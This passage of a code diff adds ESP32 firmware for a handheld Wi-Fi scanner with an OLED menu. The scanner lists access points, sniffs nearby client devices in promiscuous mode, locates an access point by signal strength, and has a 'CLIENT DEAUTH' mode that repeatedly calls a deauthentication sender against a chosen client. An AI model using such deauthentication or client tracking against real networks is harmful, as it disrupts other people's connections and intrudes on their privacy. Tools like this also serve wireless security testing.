= false; + for (int i = 0; i < uniqueCount; i++) { + if (uniqueChannels[i] == ap.channel) { + found = true; + break; + } + } + if (!found && uniqueCount < 14) { + uniqueChannels[uniqueCount++] = ap.channel; + } + } + currentUniqueIndex = 0; + lastRebuild = now; + } + + if (uniqueCount > 0) { + currentUniqueIndex = (currentUniqueIndex + 1) % uniqueCount; + esp_wifi_set_channel(uniqueChannels[currentUniqueIndex], WIFI_SECOND_CHAN_NONE); + lastChannelHop = now; + } +} + +void processScanResults(unsigned long now) { + uint16_t number = 0; + esp_wifi_scan_get_ap_num(&number); + + if (number == 0) return; + + wifi_ap_record_t *ap_info = (wifi_ap_record_t *)malloc(sizeof(wifi_ap_record_t) * number); + + if (ap_info == NULL) return; + + memset(ap_info, 0, sizeof(wifi_ap_record_t) * number); + + uint16_t actual_number = number; + esp_err_t err = esp_wifi_scan_get_ap_records(&actual_number, ap_info); + + if (err == ESP_OK) { + for (int i = 0; i < actual_number; i++) { + if (ap_info[i].ssid[0] == '\0') { + continue; + } + + char bssidStr[18]; + bssid_to_string(ap_info[i].bssid, bssidStr, sizeof(bssidStr)); + + if (isLocateMode && strlen(locateTargetBSSID) > 0) { + if (strcmp(bssidStr, locateTargetBSSID) != 0) { + continue; + } + } else if (wifiNetworks.size() >= MAX_NETWORKS) { + continue; + } + + bool found = false; + for (auto &net : wifiNetworks) { + if (strcmp(net.bssid, bssidStr) == 0) { + net.rssi = ap_info[i].rssi; + net.lastSeen = now; + strncpy(net.ssid, (char*)ap_info[i].ssid, sizeof(net.ssid) - 1); + net.ssid[sizeof(net.ssid) - 1] = '\0'; + found = true; + break; + } + } + + if (!found) { + WiFiNetworkData newNetwork; + memset(&newNetwork, 0, sizeof(newNetwork)); + strncpy(newNetwork.bssid, bssidStr, sizeof(newNetwork.bssid) - 1); + newNetwork.bssid[sizeof(newNetwork.bssid) - 1] = '\0'; + newNetwork.rssi = ap_info[i].rssi; + newNetwork.channel = ap_info[i].primary; + newNetwork.encryption = ap_info[i].authmode; + newNetwork.lastSeen = now; + newNetwork.clientCount = 0; + + strncpy(newNetwork.authMode, getAuthModeString(ap_info[i].authmode), sizeof(newNetwork.authMode) - 1); + newNetwork.authMode[sizeof(newNetwork.authMode) - 1] = '\0'; + + strncpy(newNetwork.ssid, (char*)ap_info[i].ssid, sizeof(newNetwork.ssid) - 1); + newNetwork.ssid[sizeof(newNetwork.ssid) - 1] = '\0'; + + wifiNetworks.push_back(newNetwork); + } + } + + if (!isLocateMode) { + std::sort(wifiNetworks.begin(), wifiNetworks.end(), + [](const WiFiNetworkData &a, const WiFiNetworkData &b) { + return a.rssi > b.rssi; + }); + } + } + + free(ap_info); +} + +} + +void wifiscanSetup() { + wifiNetworks.clear(); + wifiNetworks.reserve(MAX_NETWORKS); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + isClientsView = false; + isClientDetailView = false; + currentClientIndex = 0; + clientListStartIndex = 0; + memset(locateTargetBSSID, 0, sizeof(locateTargetBSSID)); + locateTargetChannel = 0; + lastButtonPress = 0; + wifiscan_isScanning = false; + wifiscan_lastApCount = 0; + needsRedraw = true; + lastLocateUpdate = 0; + + currentScanPhase = PHASE_AP_SCAN; + phaseStartTime = millis(); + lastChannelHop = 0; + lastClientCleanup = 0; + lastAPScanTime = 0; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "WiFi networks..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d networks", 0, MAX_NETWORKS); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initWiFi(WIFI_MODE_STA); + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + + wifi_scan_config_t scan_config = { + .ssid = NULL, + .bssid = NULL, + .channel = 0, + .show_hidden = false, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = { + .active = { + .min = 120, + .max = 200 + } + } + }; + + esp_wifi_scan_start(&scan_config, false); + wifiscan_isScanning = true; +} + +void wifiscanCleanup() { + if (wifiscan_isScanning) { + esp_wifi_scan_stop(); + wifiscan_isScanning = false; + } + + esp_wifi_set_promiscuous(false); + + if (isClientDeauthMode || isLocateMode) { + esp_wifi_set_mode(WIFI_MODE_STA); + delay(100); + } + + isDetailView = false; + isLocateMode = false; + isClientsView = false; + isClientDetailView = false; + isClientDeauthMode = false; + + memset(locateTargetBSSID, 0, sizeof(locateTargetBSSID)); + locateTargetChannel = 0; + memset(deauthTargetClientMAC, 0, sizeof(deauthTargetClientMAC)); + memset(deauthTargetAPBSSID, 0, sizeof(deauthTargetAPBSSID)); + deauthTargetChannel = 0; + deauthPacketCount = 0; + + currentScanPhase = PHASE_AP_SCAN; + phaseStartTime = 0; + lastAPScanTime = 0; + lastChannelHop = 0; + lastClientCleanup = 0; + + wifi_mode_t mode; + if (esp_wifi_get_mode(&mode) == ESP_OK) { + esp_wifi_stop(); + delay(50); + esp_wifi_deinit(); + delay(100); + } + + esp_netif_t* sta_netif = esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"); + if (sta_netif != NULL) { + esp_netif_destroy(sta_netif); + } + + esp_netif_t* ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); + if (ap_netif != NULL) { + esp_netif_destroy(ap_netif); + } + + delay(100); +} + +void wifiscanLoop() { + unsigned long now = millis(); + + static bool wasInSubmenu = false; + bool inMainMenu = !isDetailView && !isClientsView && !isLocateMode; + + if (inMainMenu && wasInSubmenu && (now - lastAPScanTime >= scanInterval)) { + if (wifiscan_isScanning) { + esp_wifi_scan_stop(); + wifiscan_isScanning = false; + } + + esp_wifi_set_promiscuous(false); + + wifi_scan_config_t scan_config = { + .ssid = NULL, + .bssid = NULL, + .channel = 0, + .show_hidden = false, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = { + .active = { + .min = 120, + .max = 200 + } + } + }; + esp_wifi_scan_start(&scan_config, false); + wifiscan_isScanning = true; + wifiscan_lastApCount = 0; + + currentScanPhase = PHASE_AP_SCAN; + phaseStartTime = now; + lastAPScanTime = now; + needsRedraw = true; + } + + wasInSubmenu = !inMainMenu; + + if (!isLocateMode && !isClientDeauthMode) { + unsigned long phaseElapsed = now - phaseStartTime; + + switch (currentScanPhase) { + case PHASE_AP_SCAN: { + esp_wifi_set_promiscuous(false); + + uint16_t currentApCount = 0; + esp_wifi_scan_get_ap_num(¤tApCount); + if (currentApCount > wifiscan_lastApCount) { + processScanResults(now); + wifiscan_lastApCount = currentApCount; + } + + if (!isDetailView && !isClientsView) { + if (phaseElapsed >= AP_SCAN_DURATION) { + lastAPScanTime = now; + processScanResults(now); + + if (wifiscan_isScanning) { + esp_wifi_scan_stop(); + wifiscan_isScanning = false; + } + + needsRedraw = true; + + esp_wifi_set_promiscuous(true); + wifi_promiscuous_filter_t flt = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA + }; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_promiscuous_rx_cb(&wifi_client_sniffer_callback); + + currentScanPhase = PHASE_CLIENT_SCAN; + phaseStartTime = now; + lastChannelHop = now; + } + } else { + if (wifiscan_isScanning) { + esp_wifi_scan_stop(); + wifiscan_isScanning = false; + } + + esp_wifi_set_promiscuous(true); + wifi_promiscuous_filter_t flt = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA + }; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_promiscuous_rx_cb(&wifi_client_sniffer_callback); + + currentScanPhase = PHASE_CLIENT_SCAN; + phaseStartTime = now; + lastChannelHop = now; + } + } + break; + + case PHASE_CLIENT_SCAN: + hopToNextAPChannel(); + + if (phaseElapsed >= CLIENT_SCAN_DURATION) { + esp_wifi_set_promiscuous(false); + + currentScanPhase = PHASE_IDLE; + phaseStartTime = now; + } + break; + + case PHASE_IDLE: + if (phaseElapsed >= IDLE_DURATION) { + cleanupStaleClients(); + lastClientCleanup = now; + + bool shouldScanAPs = (now - lastAPScanTime >= scanInterval) && !isDetailView && !isClientsView; + + if (shouldScanAPs) { + currentScanPhase = PHASE_AP_SCAN; + phaseStartTime = now; + lastAPScanTime = now; + needsRedraw = true; + + esp_wifi_set_promiscuous(false); + + if (!wifiscan_isScanning) { + wifi_scan_config_t scan_config = { + .ssid = NULL, + .bssid = NULL, + .channel = 0, + .show_hidden = false, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = { + .active = { + .min = 120, + .max = 200 + } + } + }; + esp_wifi_scan_start(&scan_config, false); + wifiscan_isScanning = true; + wifiscan_lastApCount = 0; + } + } else { + esp_wifi_set_promiscuous(true); + wifi_promiscuous_filter_t flt = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA + }; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_promiscuous_rx_cb(&wifi_client_sniffer_callback); + + currentScanPhase = PHASE_CLIENT_SCAN; + phaseStartTime = now; + lastChannelHop = now; + } + } + break; + } + } + + if (!isLocateMode && !isClientDeauthMode && now - lastClientCleanup >= CLIENT_CLEANUP_INTERVAL) { + cleanupStaleClients(); + lastClientCleanup = now; + } + + if (isClientDeauthMode) { + if (now - lastDeauthTime >= DEAUTH_INTERVAL) { + sendClientDeauth(); + lastDeauthTime = now; + } + } + + if (isLocateMode) { + static unsigned long locateScanStart = 0; + const unsigned long LOCATE_SCAN_DURATION = 400; + + if (wifiscan_isScanning) { + uint16_t currentApCount = 0; + esp_wifi_scan_get_ap_num(¤tApCount); + + if (currentApCount > wifiscan_lastApCount) { + processScanResults(now); + wifiscan_lastApCount = currentApCount; + } + + if (now - locateScanStart >= LOCATE_SCAN_DURATION) { + esp_wifi_scan_stop(); + wifiscan_isScanning = false; + + processScanResults(now); + } + } + + if (!wifiscan_isScanning) { + wifi_scan_config_t scan_config = { + .ssid = NULL, + .bssid = NULL, + .channel = locateTargetChannel, + .show_hidden = false, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = { + .active = { + .min = 120, + .max = 200 + } + } + }; + esp_wifi_scan_start(&scan_config, false); + wifiscan_isScanning = true; + wifiscan_lastApCount = 0; + locateScanStart = now; + } + } + + static int lastNetworkCount = -1; + static bool lastWasScanning = false; + + if (wifiscan_isScanning && !isLocateMode && !isDetailView && !isClientsView) { + if (!lastWasScanning || lastNetworkCount != (int)wifiNetworks.size()) { + lastNetworkCount = (int)wifiNetworks.size(); + lastWasScanning = true; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "WiFi networks..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d networks", (int)wifiNetworks.size(), MAX_NETWORKS); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (wifiNetworks.size() * (barWidth - 4)) / MAX_NETWORKS; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + needsRedraw = false; + return; + } + } else { + lastWasScanning = false; + } + + bool isScanning = (currentScanPhase == PHASE_AP_SCAN && !isDetailView && !isClientsView); + + if (!isScanning && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && !isClientsView && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && !isClientsView && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)wifiNetworks.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && !isClientsView && digitalRead(BTN_RIGHT) == LOW && + !wifiNetworks.empty()) { + isDetailView = true; + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && !isClientsView && digitalRead(BTN_RIGHT) == LOW && + !wifiNetworks.empty()) { + isLocateMode = true; + strncpy(locateTargetBSSID, wifiNetworks[currentIndex].bssid, sizeof(locateTargetBSSID) - 1); + locateTargetBSSID[sizeof(locateTargetBSSID) - 1] = '\0'; + locateTargetChannel = wifiNetworks[currentIndex].channel; + + if (wifiscan_isScanning) { + esp_wifi_scan_stop(); + wifiscan_isScanning = false; + } + esp_wifi_set_promiscuous(false); + + wifi_scan_config_t scan_config = { + .ssid = NULL, + .bssid = NULL, + .channel = locateTargetChannel, + .show_hidden = false, + .scan_type = WIFI_SCAN_TYPE_ACTIVE, + .scan_time = { + .active = { + .min = 120, + .max = 200 + } + } + }; + esp_wifi_scan_start(&scan_config, false); + wifiscan_isScanning = true; + wifiscan_lastApCount = 0; + + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetBSSID, 0, sizeof(locateTargetBSSID)); + locateTargetChannel = 0; + + if (wifiscan_isScanning) { + esp_wifi_scan_stop(); + wifiscan_isScanning = false; + } + + esp_wifi_set_promiscuous(true); + wifi_promiscuous_filter_t flt = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA + }; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_promiscuous_rx_cb(&wifi_client_sniffer_callback); + + currentScanPhase = PHASE_CLIENT_SCAN; + phaseStartTime = now; + lastChannelHop = now; + + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && !isClientsView && digitalRead(BTN_DOWN) == LOW && + !wifiNetworks.empty()) { + isClientsView = true; + currentClientIndex = 0; + clientListStartIndex = 0; + lastButtonPress = now; + needsRedraw = true; + } else if (isClientsView && !isClientDetailView && digitalRead(BTN_UP) == LOW && currentClientIndex > 0) { + --currentClientIndex; + if (currentClientIndex < clientListStartIndex) + --clientListStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (isClientsView && !isClientDetailView && digitalRead(BTN_DOWN) == LOW && + !wifiNetworks.empty() && currentIndex < (int)wifiNetworks.size() && + currentClientIndex < (int)wifiNetworks[currentIndex].clients.size() - 1) { + ++currentClientIndex; + if (currentClientIndex >= clientListStartIndex + 3) + ++clientListStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (isClientsView && !isClientDetailView && digitalRead(BTN_RIGHT) == LOW && + !wifiNetworks.empty() && currentIndex < (int)wifiNetworks.size() && + !wifiNetworks[currentIndex].clients.empty()) { + isClientDetailView = true; + lastButtonPress = now; + needsRedraw = true; + } else if (isClientDetailView && !isClientDeauthMode && digitalRead(BTN_RIGHT) == LOW && + !wifiNetworks.empty() && currentIndex < (int)wifiNetworks.size() && + currentClientIndex < (int)wifiNetworks[currentIndex].clients.size()) { + isClientDeauthMode = true; + auto &client = wifiNetworks[currentIndex].clients[currentClientIndex]; + strncpy(deauthTargetClientMAC, client.clientMAC, sizeof(deauthTargetClientMAC) - 1); + deauthTargetClientMAC[sizeof(deauthTargetClientMAC) - 1] = '\0'; + strncpy(deauthTargetAPBSSID, wifiNetworks[currentIndex].bssid, sizeof(deauthTargetAPBSSID) - 1); + deauthTargetAPBSSID[sizeof(deauthTargetAPBSSID) - 1] = '\0'; + deauthTargetChannel = wifiNetworks[currentIndex].channel; + deauthPacketCount = 0; + lastDeauthTime = 0; + + if (wifiscan_isScanning) { + esp_wifi_scan_stop(); + wifiscan_isScanning = false; + } + + esp_wifi_set_promiscuous(false); + esp_wifi_set_mode(WIFI_MODE_APSTA); + delay(100); + esp_wifi_set_promiscuous(true); + + lastButtonPress = now; + needsRedraw = true; + } else if (isClientDeauthMode && digitalRead(BTN_BACK) == LOW) { + isClientDeauthMode = false; + memset(deauthTargetClientMAC, 0, sizeof(deauthTargetClientMAC)); + memset(deauthTargetAPBSSID, 0, sizeof(deauthTargetAPBSSID)); + deauthTargetChannel = 0; + deauthPacketCount = 0; + + esp_wifi_set_promiscuous(false); + esp_wifi_set_mode(WIFI_MODE_STA); + delay(100); + + esp_wifi_set_promiscuous(true); + wifi_promiscuous_filter_t flt = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA + }; + esp_wifi_set_promiscuous_filter(&flt); + esp_wifi_set_promiscuous_rx_cb(&wifi_client_sniffer_callback); + + currentScanPhase = PHASE_CLIENT_SCAN; + phaseStartTime = now; + lastChannelHop = now; + + lastButtonPress = now; + needsRedraw = true; + } else if (isClientDetailView && !isClientDeauthMode && digitalRead(BTN_BACK) == LOW) { + isClientDetailView = false; + lastButtonPress = now; + needsRedraw = true; + } else if (isClientsView && !isClientDetailView && digitalRead(BTN_BACK) == LOW) { + isClientsView = false; + currentClientIndex = 0; + clientListStartIndex = 0; + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && !isClientsView && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + lastButtonPress = now; + needsRedraw = true; + } + } + + if (wifiNetworks.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode || isClientsView) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + isClientsView = false; + isClientDetailView = false; + currentClientIndex = 0; + clientListStartIndex = 0; + memset(locateTargetBSSID, 0, sizeof(locateTargetBSSID)); + locateTargetChannel = 0; + } else { + currentIndex = constrain(currentIndex, 0, (int)wifiNetworks.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)wifiNetworks.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isClientDeauthMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (wifiNetworks.empty()) { + u8g2.setFont(u8g2_font_6x10_tr); + if (wifiscan_isScanning) { + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "WiFi networks..."); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 35, "Please wait..."); + } else { + u8g2.drawStr(0, 10, "No networks found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastAPScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + } + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else if (isLocateMode) { + auto &net = wifiNetworks[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedSSID[33]; + maskName(net.ssid, maskedSSID, sizeof(maskedSSID) - 1); + snprintf(buf, sizeof(buf), "%.13s Ch:%d", maskedSSID, locateTargetChannel); + u8g2.drawStr(0, 8, buf); + + char maskedBSSID[18]; + maskMAC(net.bssid, maskedBSSID); + snprintf(buf, sizeof(buf), "%s", maskedBSSID); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", net.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(net.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isClientDeauthMode) { + auto &net = wifiNetworks[currentIndex]; + u8g2.setFont(u8g2_font_6x10_tr); + char buf[40]; + + u8g2.drawStr(0, 10, "CLIENT DEAUTH"); + u8g2.drawHLine(0, 12, 128); + + u8g2.setFont(u8g2_font_5x8_tr); + char maskedClientMAC[18]; + maskMAC(deauthTargetClientMAC, maskedClientMAC); + snprintf(buf, sizeof(buf), "Target: %s", maskedClientMAC); + u8g2.drawStr(0, 22, buf); + + char maskedSSID[33]; + maskName(net.ssid[0] ? net.ssid : "Unknown", maskedSSID, sizeof(maskedSSID) - 1); + snprintf(buf, sizeof(buf), "AP: %.12s", maskedSSID); + u8g2.drawStr(0, 32, buf); + + snprintf(buf, sizeof(buf), "Channel: %d", deauthTargetChannel); + u8g2.drawStr(0, 42, buf); + + snprintf(buf, sizeof(buf), "Packets: %lu", deauthPacketCount); + u8g2.drawStr(0, 52, buf); + + u8g2.drawStr(0, 62, "L=Stop"); + } else if (isClientDetailView && isClientsView) { + auto &net = wifiNetworks[currentIndex]; + if (currentClientIndex < (int)net.clients.size()) { + auto &client = net.clients[currentClientIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[40]; + + char maskedClientMAC[18]; + maskMAC(client.clientMAC, maskedClientMAC); + snprintf(buf, sizeof(buf), "MAC: %s", maskedClientMAC); + u8g2.drawStr(0, 8, buf); + + snprintf(buf, sizeof(buf), "RSSI: %d dBm Pkts: %u", client.rssi, client.packetCount); + u8g2.drawStr(0, 18, buf); + + unsigned long age = (now - client.lastSeen) / 1000; + snprintf(buf, sizeof(buf), "Last seen: %lus ago", age); + u8g2.drawStr(0, 28, buf); + + char statusStr[30] = "Status: "; + if (client.frameTypes & FRAME_TYPE_DATA) { + strcat(statusStr, "Active"); + } else if (client.frameTypes & FRAME_TYPE_ASSOC) { + strcat(statusStr, "Associated"); + } else { + strcat(statusStr, "Unknown"); + } + u8g2.drawStr(0, 38, statusStr); + + u8g2.drawStr(0, 62, "L=Back R=Deauth"); + } + } else if (isClientsView) { + auto &net = wifiNetworks[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[40]; + + char maskedSSID[33]; + maskName(net.ssid[0] ? net.ssid : "Unknown", maskedSSID, sizeof(maskedSSID) - 1); + snprintf(buf, sizeof(buf), "%.12s", maskedSSID); + u8g2.drawStr(0, 8, buf); + + snprintf(buf, sizeof(buf), "Clients: %d/%d", net.clientCount, MAX_CLIENTS_PER_AP); + u8g2.drawStr(0, 16, buf); + + u8g2.drawHLine(0, 18, 128); + + if (net.clients.empty()) { + u8g2.drawStr(0, 30, "No clients detected"); + u8g2.drawStr(0, 62, "L=Back"); + } else { + for (int i = 0; i < 3; ++i) { + int clientIdx = clientListStartIndex + i; + if (clientIdx >= (int)net.clients.size()) + break; + + auto &client = net.clients[clientIdx]; + int y = 28 + i * 12; + + if (clientIdx == currentClientIndex) { + u8g2.drawStr(0, y, ">"); + } + + char maskedClientMAC[18]; + maskMAC(client.clientMAC, maskedClientMAC); + u8g2.drawStr(8, y, maskedClientMAC); + + if (client.packetCount >= 1000) { + float pkts = client.packetCount / 1000.0; + snprintf(buf, sizeof(buf), "%.1fk", pkts); + } else { + snprintf(buf, sizeof(buf), "%u", client.packetCount); + } + u8g2.drawStr(100, y, buf); + } + + u8g2.drawStr(0, 62, "L=Back U/D=Scroll R=Detail"); + } + } else if (isDetailView) { + auto &net = wifiNetworks[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[40]; + + char maskedSSID[33]; + maskName(net.ssid, maskedSSID, sizeof(maskedSSID) - 1); + snprintf(buf, sizeof(buf), "SSID: %s", maskedSSID); + u8g2.drawStr(0, 10, buf); + + char maskedBSSID[18]; + maskMAC(net.bssid, maskedBSSID); + snprintf(buf, sizeof(buf), "BSSID: %s", maskedBSSID); + u8g2.drawStr(0, 20, buf); + + snprintf(buf, sizeof(buf), "RSSI: %d dBm", net.rssi); + u8g2.drawStr(0, 30, buf); + + snprintf(buf, sizeof(buf), "Ch: %d Auth: %s", net.channel, net.authMode); + u8g2.drawStr(0, 40, buf); + + snprintf(buf, sizeof(buf), "Age: %lus Clients: %d", (now - net.lastSeen) / 1000, net.clientCount); + u8g2.drawStr(0, 50, buf); + + u8g2.drawStr(0, 62, "L=Back D=Clients R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "WiFi: %d/%d", (int)wifiNetworks.size(), MAX_NETWORKS); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)wifiNetworks.size()) + break; + auto &n = wifiNetworks[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + char line[32]; + char maskedSSID[33]; + maskName(n.ssid[0] ? n.ssid : "Unknown", maskedSSID, sizeof(maskedSSID) - 1); + snprintf(line, sizeof(line), "%.8s | RSSI %d", + maskedSSID, n.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file